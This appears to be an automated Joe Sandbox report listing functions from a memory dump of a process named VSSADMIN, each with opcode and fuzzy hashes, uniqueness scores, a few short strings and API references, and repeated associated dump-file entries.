Opcode ID: f5e1524899c56bc23ad3890ea476fd64461aaca1c1c6cf088a54164d3a5803aa
Instruction ID: 7cab06bb68594b722589de0c420e2e1c1f8acb2280fb5f47fa61ea83a101d9a3
Opcode Fuzzy Hash: f5e1524899c56bc23ad3890ea476fd64461aaca1c1c6cf088a54164d3a5803aa
Instruction Fuzzy Hash: 60E1B376A08E0385EB688B2580D813937B1FF46F68F145137DA4E877E5DF2AE841E340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8D0C8 Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

e+000, xrefs: 00007FF614C8D1D5
gfff, xrefs: 00007FF614C8D252

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID:
String ID: e+000$gfff
API String ID: 0-3030954782
Opcode ID: fc16f48a51adf8395f54aceaf0b9db76d004ae62db191d73de727a3be8067e6d
Instruction ID: 93ea8effb002646adbc555d1b98ea723702f5f3539a69c87115bd7fdcd6d210f
Opcode Fuzzy Hash: fc16f48a51adf8395f54aceaf0b9db76d004ae62db191d73de727a3be8067e6d
Instruction Fuzzy Hash: AA515966B18AD686E7248A35D8807696BA1EB46FB4F489232CB6887AD5CF3DD4418700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8FA38 Relevance: 2.0, APIs: 1, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 1010374628-0
Opcode ID: cea5f1581e6f6f7252908686e38380e83d2f5f1cef5c30cfc758325be99675c1
Instruction ID: 420733add9f81a24c4c7362934ee33e662b914bcb7ada205944b20f7ec50753d
Opcode Fuzzy Hash: cea5f1581e6f6f7252908686e38380e83d2f5f1cef5c30cfc758325be99675c1
Instruction Fuzzy Hash: 0E029F22E1DE4750FA65AB2194E12BA26B0AF47FB4F04463BDE5DC77D2DE3DA401A310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8CC34 Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

gfffffff, xrefs: 00007FF614C8CF76

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID:
String ID: gfffffff
API String ID: 0-1523873471
Opcode ID: 24567b7b7ad9cc25883cfe86a0af8cdb31fb8148e1153fa934f37376d4be2ae6
Instruction ID: cc67d198c2d019ae819fa75e9a0d604df5d18694da4de55056d789afaacfc24f
Opcode Fuzzy Hash: 24567b7b7ad9cc25883cfe86a0af8cdb31fb8148e1153fa934f37376d4be2ae6
Instruction Fuzzy Hash: A7A14872A18BC686EB21CB29A0807A97BA0EB56FA4F058133DE4D87785DE3DD501E701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C86FC8 Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

TMP, xrefs: 00007FF614C86FE7

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: TMP
API String ID: 3215553584-3125297090
Opcode ID: 24f8c0f4820d0cfba61cbc4c59964b8a243fb78d0a30f9d39ddbc7d824280f77
Instruction ID: e36f33de6ccb18332c4cf5a1c28307fef9e220e523d97ac17a544ce488da96de
Opcode Fuzzy Hash: 24f8c0f4820d0cfba61cbc4c59964b8a243fb78d0a30f9d39ddbc7d824280f77
Instruction Fuzzy Hash: B851A415B0AE4351FA64AB669D911BA52B1AF87FE4F484036DE0DC77D2FF3CE4626200

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C925D0 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF614C925D4

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 2f1302fce1481fbe20b13d751b936209868e95a9271a4e16dc4ced5aa84efd4b
Instruction ID: 1304ed505d3ac40cb92c2ea740793f375db9ac42a5a96d750c97573ee6a44768
Opcode Fuzzy Hash: 2f1302fce1481fbe20b13d751b936209868e95a9271a4e16dc4ced5aa84efd4b
Instruction Fuzzy Hash: FFB09224E07E82D2EE0C2B29ACC222423B47F59B60F98407AC00C82320DF2D28AA5702

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C82830 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 740f364038b0a02b74aefc6a4002d605bb8d66e8ece03474d19f7dcd3f76f926
Instruction ID: 0f4e8741d02055cd5afaac3a5839fe6a8874107b4f85a66c1c88f48d296ca1c2
Opcode Fuzzy Hash: 740f364038b0a02b74aefc6a4002d605bb8d66e8ece03474d19f7dcd3f76f926
Instruction Fuzzy Hash: 72D1B526A08E4785EB688F25958827D27B2FF46F68F144237CE4E876D5DF39E841E340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C780D0 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41c2dd31deb4208f6a64af358637e949a31ffee90b73308347fda93b72d461a0
Instruction ID: 13bd95297ab99150844daf9cb97ae099c32f4b89eedb88ebeaf775024fa9b9af
Opcode Fuzzy Hash: 41c2dd31deb4208f6a64af358637e949a31ffee90b73308347fda93b72d461a0
Instruction Fuzzy Hash: 1FC194722181E04BE2C9EB29E46947E77A1F78D35EB94403BEB8747B89C73CA414D750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C81EA0 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 081855a1139a905c050f004adae9c343e6fe2e6a907cc23c5706cce6c129a0ff
Instruction ID: e7664f2e91afe78b94e59d50b6f3941c016497969a7230d0dc6ac89b7b1ae7b4
Opcode Fuzzy Hash: 081855a1139a905c050f004adae9c343e6fe2e6a907cc23c5706cce6c129a0ff
Instruction Fuzzy Hash: DFB16E76908B8689E7658F29C09827D3BB1E746F68F244137CB4E87399DF39D841E704

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8D748 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c73884664ec6463b3ef8ba4e0c781f3417535d3b4587aef21b1cb5b9e685f8d4
Instruction ID: e5102d0faebc3bc024e51d42d93fede6ab7f50ddb2273e8fa36000efae304bf0
Opcode Fuzzy Hash: c73884664ec6463b3ef8ba4e0c781f3417535d3b4587aef21b1cb5b9e685f8d4
Instruction Fuzzy Hash: B181A572A0CB8286E774CF15D48037A76B1FB86BA4F544236DA9D87B99DF3CE4419B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C95850 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3bf38bb552e652050a5a4325e5c4404943d37f9760ac8566a9e89c8f0e7421a3
Instruction ID: 472c95f83ef0b351014b0551faa3d00f70c272e58f54976015a960076bb4bbb1
Opcode Fuzzy Hash: 3bf38bb552e652050a5a4325e5c4404943d37f9760ac8566a9e89c8f0e7421a3
Instruction Fuzzy Hash: 4A610923F1CA9256FB248928C4D037D66A1AF62F78F55023BD61EC76C5EE7EE8018704

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C80FE4 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d861661aa08db629cc23cdca8c369b076586a2e450c00db1ba5d57a294e44a4f
Instruction ID: 006979ef8885678ae3eef1199d945128724ca4340e782aa1e553f738d6b27d00
Opcode Fuzzy Hash: d861661aa08db629cc23cdca8c369b076586a2e450c00db1ba5d57a294e44a4f
Instruction Fuzzy Hash: 75516476A18A6286E7248B29D48023937F1EB96F78F244132CE4D97795DF3AEC42D740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C80BD4 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c32b4ddfd43473a216dec7aa9a0be5b617892f75f4149cffacdc7470c95e978f
Instruction ID: 6f69ce8e5e518fdabb0ae9fcf85759bff3e855f8ebd377b197db6f3e1b7da469
Opcode Fuzzy Hash: c32b4ddfd43473a216dec7aa9a0be5b617892f75f4149cffacdc7470c95e978f
Instruction Fuzzy Hash: 5F5154B6A19E5285E7648F2AC08022927B0FB56F78F254136CA4D97795CF3AE842D740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C813F4 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 867914ff4df0b6b44d704adc42bbe88cde9096fdc707783f05752eff833c7ffe
Instruction ID: 0da443adf3587d0a84184b18e4223e1d7fd88d47c2425ab743bc025dd0cc97f4
Opcode Fuzzy Hash: 867914ff4df0b6b44d704adc42bbe88cde9096fdc707783f05752eff833c7ffe
Instruction Fuzzy Hash: EE515376A18E5286E7648F29D08067837F0EBC6F78F244132CA8D97795CF3AE842D740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C80DE0 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1de1d42fcd570761cca71ddda72003ed022ec41b6526507f8e47f89f031e3167
Instruction ID: 65dfede50d0236d1fd5917b023b6cc7c97def60cef4c7910d9a96aa26d427adf
Opcode Fuzzy Hash: 1de1d42fcd570761cca71ddda72003ed022ec41b6526507f8e47f89f031e3167
Instruction Fuzzy Hash: 36518976618E5385E7648B2AC08123937B1EB46F68F258132DE8D97795CF3AE843D740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C809D0 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 876697f8e8f5cbbdb44752562e3cb115d809b93d1bac5633a342ac63b65505f1
Instruction ID: 00c0e0fac35cc771bf91b97dddb3b5ff330c7026de94d2c949eca88e32ff270c
Opcode Fuzzy Hash: 876697f8e8f5cbbdb44752562e3cb115d809b93d1bac5633a342ac63b65505f1
Instruction Fuzzy Hash: 47518A76618E5385E7248B2AC08027937F1EB46F68F264132CE4D97795DF3AEC42D740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C811F0 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b4a4146db3bd1fe649265067838c8b0d7c1a5e97031d62dd0eb31e0fdd0228e
Instruction ID: 49aaa156dee3816050b8f5a721433f87be13c22edf557c23a04eab302e77b883
Opcode Fuzzy Hash: 6b4a4146db3bd1fe649265067838c8b0d7c1a5e97031d62dd0eb31e0fdd0228e
Instruction Fuzzy Hash: 19515676A18E5285E7648B29D08067C27F1EBC6F68F244132CE8D97799CF3AEC52D740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C84F80 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction ID: 6cad8842eea803e00bc55e1cf9e6972c086e51a375b4682bd97cd92081eb7596
Opcode Fuzzy Hash: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction Fuzzy Hash: F2410A62C99E4B04E9518D1809807B86BA09F33FF8D5862B6DD9AD37CFEE4C2586F101

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C88BD0 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ErrorLastPrivilegeRelease
String ID:
API String ID: 1334314998-0
Opcode ID: 1c41bceef5bab7983f86406795f12521f2ea94f9f1bc93d34e9ce900e1efe14c
Instruction ID: 8aec8c3890c902cc4ac93497c80bb4d67382b11ff42f5efbbd528e98c5d9673b
Opcode Fuzzy Hash: 1c41bceef5bab7983f86406795f12521f2ea94f9f1bc93d34e9ce900e1efe14c
Instruction Fuzzy Hash: 2941F762714E5582EF54CF2AE9941AAA3A2BB49FE0F059033EE0DC7B58DE3CD4469340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C86590 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49058feddecaf3dd1a4174762c687f651d5e36b4e4df8639cc1e54ba905e9622
Instruction ID: 664f43ee599d2fb9e303e628b35ac3a52be0d6cc72b144f4ec5f428321a2ca34
Opcode Fuzzy Hash: 49058feddecaf3dd1a4174762c687f651d5e36b4e4df8639cc1e54ba905e9622
Instruction Fuzzy Hash: 27318472708F8382E7649F25648017E66E5AB86FA0F14423AEA8D93BD5DF3CD512A704

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C989E0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea08c2437e4e3c4698eed2d9fd972e66d262d614c61166a858f736d4a7407d73
Instruction ID: aeaf816e591e2c668099b9429928107ed759d682a621f535d92789f07d1f5daa
Opcode Fuzzy Hash: ea08c2437e4e3c4698eed2d9fd972e66d262d614c61166a858f736d4a7407d73
Instruction Fuzzy Hash: F2F068717187558ADB988F69B44262977F0F7087D4F44C03AD58DC3B04DA3C90518F04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C7B8B0 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: deab79669d35d3f06de2a1b3ba32e81158c273845478c0e398c52fdc0538379a
